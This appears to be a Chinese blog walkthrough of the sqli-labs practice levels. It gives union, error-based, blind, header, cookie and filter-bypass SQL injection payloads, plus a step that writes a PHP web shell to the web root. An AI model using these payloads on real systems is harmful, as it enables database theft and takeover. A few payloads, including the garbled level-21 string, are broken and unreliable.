sqli-labs部分关思路

目录

updatexml

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

25a

26

26a

27

27a

28

28a


问题:你了解sql注入吗

答:由于程序过滤不严谨,用户异常输入,这些输入会导致数据库异常查询,最终导致sql注入

mysql三种注释符:

--+

#

/**/

updatexml

updatexml()

UPDATEXML (XML_document, XPath_string, new_value);

这个函数作用是替换数据,三个参数对应的分别是源文档、要查找的元素路径、新的值

例子:

UPDATE mytable SET xml_data = updatexml(xml_data, '/path/to/element', 'new_value') WHERE ...

一个名为"mytable"的表,其中包含一个名为"xml_data"的XML类型列。要将XML文档中"path/to/element"元素的值替换为"new_value

报错注入利用:

0x7e是~的十六进制,会让xpath参数报错,然后返回报错信息,同时在xpath参数中插入concat()连接字符串,和所要查询的内容,例如database()

即可将查询内容与报错信息一起反馈出来。

1

1.判断注入类型:先单引号发现报错,说明是单引号注入

2.判断字段数:用order by ,经测试:?id=1' order by 4 --+发生报错,说明只有3个字段

3.查看回显位置:用一个不存在id测试回显位置:?id=-1' union select 1,2,3 --+,发现,2,3是回显位置

4.查数据:

库名: ?id=-1' union select 1,database(), 3--+,得到security

表名: ?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+,得到四张表:

emails,referers,uagents,users

字段名:就是将表名的table改成columns,得到表名,太多了就不列举了

发现两个关键的username,password

查字段内容:?id=-1' union select 1,group_concat(username),3 from security.users--+,查哪个字段就把username改成对应字段名即可

最终得到账号密码

2

1.判断注入类型:单双引号都报错了,引号闭合不了,不是字符注入。是数字注入

2.用order by 判断字段数为3

3.用union判断回显位置为2,3

4.查数据:

库名:?id=-1%20union%20select%201,database(),--+,得到security

表名:?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

字段名:把表名的table和tables改成column和columns

查账号密码:?id=-1 union select 1,group_concat(username),3 from security.users--+

3

1.判断注入类型,测试了1和双引号没异常,单引号发现报错,说有括号,所以再闭合一个括号 id=1')

2.判断字段和回显分别是3和2,3

3.查数据跟前面一样

4

从3的单引号变成双引号,其他不变

5

1.判断注入类型,发现只有id=1'能报错

2.测试字段数和回显发现无法使用联合查询了,使用报错注入

3.查数据:

库名:?id=-1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+

表名:?id=-1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+

字段名:?id=-1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security'),0x7e),1)--+

用户密码:

?id=-1' and updatexml(1,concat(0x7e,(select group_concat(username) from security.users),0x7e),1)--+ ?id=-1' and updatexml(1,concat(0x7e,(select group_concat(password) from security.users),0x7e),1)--+

6

只是把单引号换成了双引号,其他和5关一样

7

这关很奇怪,要做出来得去改mysql的配置文件,允许上传文件,然后直接传后门,但是都能修改文件了,还有必要改ini吗

但是不妨也是一种手段:

利用前提:1.是root,2.目录是网站的根路径,也就是网站能访问到该路径

先修改my.ini的secure_file_priv="要上传文件的路径"

然后闭合后写导出语句

?id=1')) union select 1,2,'' into outfile "D:\phpstudy_pro\WWW\shellaa.php"--+

然后就把我们的shellaaa.php上传到这个目录下了,可以传一句话后门直接用蚁剑登录,我这里测试用的是phpinfo();

8

判断注入类型:初步判断为bool盲注

库名:

库名的长度:?id=1' and length(database())>8 --+数字加到8没有回显,说明库名长度为8。库名:?id=1' and ascii(substr((database()),1,1))=115 --+当等于115的时候有回显,说明库名的第一个字符为s,以此类推

表名、字段名类似,盲注比较麻烦,建议用脚本或者sqlmap

9

判断注入类型:测试对错都不变,是时间盲注

跟布尔盲注的区别就在于加了一个sleep()函数

?id=1; and if(ascii(substr(database(),1,1))>100,sleep(2),0)--+

如果条件为真就会延迟两秒回显,也可以看网页检查的network模块的加载时间的变化,我们以此来判断是否为真,其余思路与布尔盲注一样

10

和第9关的注入唯一区别就是不用闭合了

11

用户名输入单引号报错,用updatexml尝试报错注入

直接在用户名测试:aaa' and updatexml(1,concat(0x7e,(select user()),0x7e),1)# 这里因为是post提交,所以注释用的#

然后成功回显库名了,然后用户输入admin,密码输入-1' union select 1,2#

看到回显位置,然后就直接查数据即可

12

跟11题区别就是密码框输入的时候用双引号闭合:-1' union select 1,2#

13

改动:单引号+括号闭合,其他跟11一样

14

双引号闭合的,正常回显被注释,不能用联合查询,首选用updatexml报错注入、也可以bool盲注根据返回的图片来判断

15

从14的双引号闭合变成了单引号闭合,其他一样

16

又变成了双引号+括号

17

先判断魔术开关(只在php低版本有),然后用一个stripslashes(),作用是去掉转义符

再判断是否为数字,然后用mysql_real_escape_string()(也是个低版本的函数)对特殊字符转义,例如单双引号

解释:如果不判断魔术开关,会自动转义一次,然后到了mysql_real_escape_string()这个函数又转义一次,这样双重转义等于没有转义,单引号就逃出限制了,开着的话就会只转义一次,单引号就被转义失效了

用户名是admin

密码先测试一下单引号闭合,报错了

那么尝试报错注入成功回显:payload:123456' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)#

注意单引号前面的密码要符合规范,例如我只写了个aaa就会报错不合法

18

header头注入

看源码知道用户名密码都被过滤了,但是重新获取了两个值:HTTP_USER_AGENT和REMOTE_ADDR,并且放到数据库里了,我们选择USER_AGENT,因为REMOTE_ADDR改不了

用火狐的hackbar:

post:uname=admin&passwd=0

user agent添加一行aaa'提交后发现报错,原因是插入值为3个,我们写了四个

用and连接就不影响了,还是原来的三个

所以payload:aaaa' and updatexml(1,concat(0x7e,(select user()),0x7e),1) and '1'='1

成功报错回显出用户

19

header头变成了referer了

然后跟上一题一样

20

这关将用户名放入cookie,然后把cookie放到数据库中查询

所以注入点就是username

还是用firefox的hackerbar来伪造cookie,测试单引号闭合回显报错

直接伪造cookie看回显:-1' union select 1,2,3,4,5#

2,3回显位置出现,后面按套路查就行

注:username错误就被过滤,正确才放到cookie,然后数据库查cookie,所以修改username没意义,应该伪造cookie

21

cookie拿username的时候进行了一次base64编码,然后再把cookie解码放进数据库中查询

所以我们就是把payload进行base64编码然后放给cookie就行了

payload:ºv¦|§vê]j×±]\¢w·L{zÇ¥yËn±êôÇ·µjwu

22

换了个闭合方式:双引号闭合

23

先闭合再注释测试,发现注释符被过滤了

那就不注释了,用and '1'='1

测试成功回显:?id=-1' union select 12,3,4,5 and '1'=‘1

剩下的又和第一关一样了

24

先注册,然后登录,进去后看到修改密码界面

看源码,又遇到mysql_real_escape_string()这个函数了

简单说就是给单引号加个注释符,但是关键是数据存到数据库的时候,这个注释符会去掉,也就是把单引号存到数据库中了

那么查询的时候,这个名字从数据库中拿出来,引号也会被拿出来

所以这样做:

找一个已存在的用户名例如abc,然后注册用户abc'#

再修改密码的话由于引号闭合和注释,会导致用户abc的密码被修改,那么我们就知道abc的密码了

25

所有的or 和 and被过滤

这是限制的报错注入,和password这个关键字

我们直接用第一题的解法就行,password写成passwoorrd成功爆出数据

25a

没有闭合,数字型的,其他跟25一样

26

过滤了注释符、and、or、空格、*也被过滤了

可以用括号代替空格,然后and用anandd绕过就行了,当然不看源码的话要尝试会花不少时间

在linux下可以替换空格的:%0a、%0b、%0c、%0d、%a0

这里经测试不行,但是其他情况可能有奇效

26a

报错注入被注释了,尝试联合查询也不行

那就试试布尔盲注

payload:?id=1')aandnd(ascii(substr(database(),1,1))>100)anandd('1')=('1

发现回显正确的值,说明可以使用布尔盲注后面步骤就一样,不赘述了

27

联合查询被过滤

union的大写、小写、空格都被过滤了、还过滤了三次select

空格用%0a替代,union用UNion这种大小写组合就可以绕过

select写成四个拼起来的就行:selselselselectectectect

除了这些过滤,其他就跟联合查询一样了

27a

闭合方式不一样,是单引号,然后过滤select的正则没有写i,所以直接写成SELect就能绕过

28

过滤了union+select,也就是union和select之间不能写内容

还是老样子,双写,用%0a代替空格:

union%0aunion%0aselectselect

或者还能用布尔盲注

28a

没啥区别,同样的和上一关一样的payload也能过

你可能感兴趣的:(安全)